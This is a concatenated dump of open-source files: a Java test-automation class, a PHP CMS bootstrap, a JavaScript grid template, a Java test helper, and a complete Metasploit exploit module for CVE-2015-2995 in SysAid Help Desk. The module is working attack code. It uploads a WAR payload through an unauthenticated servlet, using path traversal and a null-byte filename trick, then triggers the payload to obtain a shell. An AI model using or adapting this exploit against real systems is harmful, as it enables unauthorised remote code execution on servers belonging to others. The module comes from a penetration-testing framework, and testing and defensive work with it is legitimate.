stepSuccess = step.executeStep( page, webDriver, contextMap, dataMap, pageMap, sC, executionContext ); } catch ( FlowException lb ) { throw lb; } if ( !stepSuccess ) { if ( log.isWarnEnabled() ) log.warn( "***** Step [" + step.getName() + "] Failed" ); if ( timed ) PageManager.instance(( (DeviceWebDriver) webDriver ).getxFID()).addExecutionTiming( executionId, deviceName, getName(), System.currentTimeMillis() - startTime, StepStatus.FAILURE, description, threshold ); stepSuccess = false; return false; } } if ( timed ) PageManager.instance(( (DeviceWebDriver) webDriver ).getxFID()).addExecutionTiming( executionId, deviceName, getName(), System.currentTimeMillis() - startTime, StepStatus.SUCCESS, description, threshold ); return stepSuccess; } /** * Gets the os. * * @return the os */ public String getOs() { return os; } /** * Sets the os. * * @param os * the new os */ public void setOs( String os ) { this.os = os; } /** * Checks if is tagged. * * @param tagName * the tag name * @return true, if is tagged */ public boolean isTagged( String tagName ) { if ( testTags == null ) return false; for ( String testTag : testTags ) { if ( tagName.equalsIgnoreCase( testTag ) ) return true; } return false; } public boolean isDeviceTagged( String tagName ) { if ( deviceTags == null || deviceTags.length <= 0 ) return false; for ( String testTag : deviceTags ) { if ( tagName.equalsIgnoreCase( testTag ) ) return true; } return false; } /** * Gets the tags. * * @return the tags */ public String[] getTags() { if ( testTags == null ) return new String[] { "" }; else return testTags; } /** * Gets the content keys. * * @return the content keys */ public String[] getContentKeys() { return contentKeys; } public String getLinkId() { return linkId; } public void setLinkId(String linkId) { this.linkId = linkId; } }
xframium/xframium-java
framework/src/org/xframium/page/keyWord/KeyWordTest.java
Java
gpl-3.0
18,458
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => "SysAid Help Desk 'rdslogs' Arbitrary File Upload", 'Description' => %q{ This module exploits a file upload vulnerability in SysAid Help Desk v14.3 and v14.4. The vulnerability exists in the RdsLogsEntry servlet which accepts unauthenticated file uploads and handles zip file contents in a insecure way. By combining both weaknesses, a remote attacker can accomplish remote code execution. Note that this will only work if the target is running Java 6 or 7 up to 7u25, as Java 7u40 and above introduces a protection against null byte injection in file names. This module has been tested successfully on version v14.3.12 b22 and v14.4.32 b25 in Linux. In theory this module also works on Windows, but SysAid seems to bundle Java 7u40 and above with the Windows package which prevents the vulnerability from being exploited. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2015-2995' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], [ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'Privileged' => false, 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'SysAid Help Desk v14.3 - 14.4 / Java Universal', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 3 2015')) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Base path to the SysAid application', '/sysaid/']) ], self.class) end def check servlet_path = 'rdslogs' bogus_file = rand_text_alphanumeric(4 + rand(32 - 4)) res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], servlet_path), 'method' => 'POST', 'vars_get' => { 'rdsName' => bogus_file } }) if res && res.code == 200 return Exploit::CheckCode::Detected end Exploit::CheckCode::Unknown end def send_payload(war_payload, tomcat_path, app_base) # We have to use the Zlib deflate routine as the Metasploit Zip API seems to fail print_status("#{peer} - Uploading WAR file...") res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'rdslogs'), 'method' => 'POST', 'data' => Zlib::Deflate.deflate(war_payload), 'ctype' => 'application/octet-stream', 'vars_get' => { 'rdsName' => "../../../../#{tomcat_path}#{app_base}.war\x00" } }) # The server either returns a 200 OK when the upload is successful. if res && res.code == 200 print_status("#{peer} - Upload appears to have been successful, waiting for deployment") else fail_with(Failure::Unknown, "#{peer} - WAR upload failed") end end def exploit # We need to create the upload directories before our first attempt to upload the WAR. print_status("#{peer} - Creating upload directory") bogus_file = rand_text_alphanumeric(4 + rand(32 - 4)) send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'rdslogs'), 'method' => 'POST', 'data' => Zlib::Deflate.deflate(rand_text_alphanumeric(4 + rand(32 - 4))), 'ctype' => 'application/xml', 'vars_get' => { 'rdsName' => bogus_file } }) app_base = rand_text_alphanumeric(4 + rand(32 - 4)) war_payload = payload.encoded_war({ :app_name => app_base }).to_s send_payload(war_payload, 'tomcat/webapps/', app_base) register_files_for_cleanup("tomcat/webapps/#{app_base}.war") 10.times do select(nil, nil, nil, 2) # Now make a request to trigger the newly deployed war print_status("#{peer} - Attempting to launch payload in deployed WAR...") res = send_request_cgi({ 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)), 'method' => 'GET' }) # Failure. The request timed out or the server went away. break if res.nil? # Success! Triggered the payload, should have a shell incoming return if res.code == 200 end print_error("#{peer} - Failed to launch payload. Trying one last time with a different path...") # OK this might be a Linux server, it's a different traversal path. # Let's try again... send_payload(war_payload, '', app_base) register_files_for_cleanup("webapps/#{app_base}.war") 10.times do select(nil, nil, nil, 2) # Now make a request to trigger the newly deployed war print_status("#{peer} - Attempting to launch payload in deployed WAR...") res = send_request_cgi({ 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)), 'method' => 'GET' }) # Failure. The request timed out or the server went away. break if res.nil? # Success! Triggered the payload, should have a shell incoming break if res.code == 200 end end end
cSploit/android.MSF
modules/exploits/multi/http/sysaid_rdslogs_file_upload.rb
Ruby
gpl-3.0
5,636
<?php $PHP_SELF = "index.php"; include 'includes/config.in.php'; include 'includes/function.in.php'; include 'includes/class.mysql.php'; include 'lang/thai_utf8.php'; include 'includes/array.in.php'; include 'includes/class.ban.php'; include 'includes/class.calendar.php'; header( 'Content-Type:text/html; charset='.ISO); $db = New DB(); $db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD); // Make sure you're using correct paths here $admin_user = empty($_SESSION['admin_user']) ? '' : $_SESSION['admin_user']; $admin_pwd = empty($_SESSION['admin_pwd']) ? '' : $_SESSION['admin_pwd']; $login_true = empty($_SESSION['login_true']) ? '' : $_SESSION['login_true']; $pwd_login = empty($_SESSION['pwd_login']) ? '' : $_SESSION['pwd_login']; $op = filter_input(INPUT_GET, 'op', FILTER_SANITIZE_STRING); $action = filter_input(INPUT_GET, 'action', FILTER_SANITIZE_STRING); $page = filter_input(INPUT_GET, 'page', FILTER_SANITIZE_STRING); $category = filter_input(INPUT_GET, 'category', FILTER_SANITIZE_STRING); $loop = empty($_POST['loop']) ? '' : $_POST['loop']; $IPADDRESS = get_real_ip(); function GETMODULE($name, $file){ global $MODPATH, $MODPATHFILE ; $targetPath = WEB_PATH; $files = str_replace('../', '', $file); $names = str_replace('../', '', $name); $modpathfile = WEB_PATH."/modules/".$names."/".$files.".php"; if (file_exists($modpathfile)) { $MODPATHFILE = $modpathfile; $MODPATH = WEB_PATH."/modules/".$names."/"; }else{ die (_NO_MOD); } } $home = WEB_URL; $admin_email = WEB_EMAIL; $yourcode = "web"; $member_num_show = 5; $member_num_show_last = 5; $member_num_last = 1; $bkk= mktime(gmdate("H")+7,gmdate("i")+0,gmdate("s"),gmdate("m") ,gmdate("d"),gmdate("Y")); $datetimeformat="j/m/y - H:i"; $now = date($datetimeformat,$bkk); //$timestamp = time(); //$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD); //$query = $db->select_query("SELECT * FROM ".TB_useronline." where timeout < $timestamp"); //while ($user3 = $db->fetch($query)){ // if ($login_true==$user3['useronline']){ // $db->del(TB_useronline," timeout < $timestamp and useronline='".$login_true."' "); // session_unset($user3['useronline']); // setcookie($user3['useronline'],''); // } else if ($admin_user==$user3['useronline']){ // $db->del(TB_useronline," timeout < $timestamp and useronline='".$admin_user."' "); // session_unset($user3['useronline']); // setcookie($user3['useronline'],''); // } else { // $db->del(TB_useronline," timeout < $timestamp "); // session_unset($user3['useronline']); // setcookie($user3['useronline'],''); // } //} include 'templates/'.WEB_TEMPLATES.'/function.php';
robocon/atomymaxsite
mainfile.php
PHP
gpl-3.0
2,756
<script> {literal} var columns = 5; var padding = 12; var grid_width = $('.col').width(); grid_width = grid_width - (columns * padding); percentage_width = grid_width / 100; $('#manageGrid').flexigrid ( { url: 'index.php?module=user&view=xml', dataType: 'xml', // @formatter:off colModel : [ {display: '{/literal}{$LANG.actions}{literal}' , name : 'actions' , width : 10 * percentage_width, sortable : false, align: 'center'}, {display: '{/literal}{$LANG.email}{literal}' , name : 'email' , width : 40 * percentage_width, sortable : true , align: 'left'}, {display: '{/literal}{$LANG.role}{literal}' , name : 'role' , width : 30 * percentage_width, sortable : true , align: 'left'}, {display: '{/literal}{$LANG.enabled}{literal}' , name : 'enabled' , width : 10 * percentage_width, sortable : true , align: 'left'}, {display: '{/literal}{$LANG.users}{literal}' , name : 'user_id' , width : 10 * percentage_width, sortable : true , align: 'left'} ], searchitems : [ {display: '{/literal}{$LANG.email}{literal}' , name : 'email'}, {display: '{/literal}{$LANG.role}{literal}' , name : 'ur.name'} ], // @formatter:on sortname: 'name', sortorder: 'asc', usepager: true, pagestat: '{/literal}{$LANG.displaying_items}{literal}', procmsg: '{/literal}{$LANG.processing}{literal}', nomsg: '{/literal}{$LANG.no_items}{literal}', pagemsg: '{/literal}{$LANG.page}{literal}', ofmsg: '{/literal}{$LANG.of}{literal}', useRp: false, rp: 25, showToggleBtn: false, showTableToggleBtn: false, height: 'auto' } ); {/literal} </script>
fearless359/simpleinvoices_zend2
modules/user/manage.js.php
PHP
gpl-3.0
1,674
package ca.nrc.cadc.ulm.client;/* ************************************************************************ ******************* CANADIAN ASTRONOMY DATA CENTRE ******************* ************** CENTRE CANADIEN DE DONNÉES ASTRONOMIQUES ************** * * (c) 2016. (c) 2016. * Government of Canada Gouvernement du Canada * National Research Council Conseil national de recherches * Ottawa, Canada, K1A 0R6 Ottawa, Canada, K1A 0R6 * All rights reserved Tous droits réservés * * NRC disclaims any warranties, Le CNRC dénie toute garantie * expressed, implied, or énoncée, implicite ou légale, * statutory, of any kind with de quelque nature que ce * respect to the software, soit, concernant le logiciel, * including without limitation y compris sans restriction * any warranty of merchantability toute garantie de valeur * or fitness for a particular marchande ou de pertinence * purpose. NRC shall not be pour un usage particulier. * liable in any event for any Le CNRC ne pourra en aucun cas * damages, whether direct or être tenu responsable de tout * indirect, special or general, dommage, direct ou indirect, * consequential or incidental, particulier ou général, * arising from the use of the accessoire ou fortuit, résultant * software. Neither the name de l'utilisation du logiciel. Ni * of the National Research le nom du Conseil National de * Council of Canada nor the Recherches du Canada ni les noms * names of its contributors may de ses participants ne peuvent * be used to endorse or promote être utilisés pour approuver ou * products derived from this promouvoir les produits dérivés * software without specific prior de ce logiciel sans autorisation * written permission. préalable et particulière * par écrit. * * This file is part of the Ce fichier fait partie du projet * OpenCADC project. OpenCADC. * * OpenCADC is free software: OpenCADC est un logiciel libre ; * you can redistribute it and/or vous pouvez le redistribuer ou le * modify it under the terms of modifier suivant les termes de * the GNU Affero General Public la “GNU Affero General Public * License as published by the License” telle que publiée * Free Software Foundation, par la Free Software Foundation * either version 3 of the : soit la version 3 de cette * License, or (at your option) licence, soit (à votre gré) * any later version. toute version ultérieure. * * OpenCADC is distributed in the OpenCADC est distribué * hope that it will be useful, dans l’espoir qu’il vous * but WITHOUT ANY WARRANTY; sera utile, mais SANS AUCUNE * without even the implied GARANTIE : sans même la garantie * warranty of MERCHANTABILITY implicite de COMMERCIALISABILITÉ * or FITNESS FOR A PARTICULAR ni d’ADÉQUATION À UN OBJECTIF * PURPOSE. See the GNU Affero PARTICULIER. Consultez la Licence * General Public License for Générale Publique GNU Affero * more details. pour plus de détails. * * You should have received Vous devriez avoir reçu une * a copy of the GNU Affero copie de la Licence Générale * General Public License along Publique GNU Affero avec * with OpenCADC. If not, see OpenCADC ; si ce n’est * <http://www.gnu.org/licenses/>. pas le cas, consultez : * <http://www.gnu.org/licenses/>. * * ************************************************************************ */ import java.io.File; import java.net.URISyntaxException; public class FileLoader { public static File fromClasspath(final String name) throws URISyntaxException { return new File(FileLoader.class.getClassLoader().getResource(name) .toURI()); } }
opencadc/apps
cadc-upload-manager/src/test/java/ca/nrc/cadc/ulm/client/FileLoader.java
Java
gpl-3.0
4,358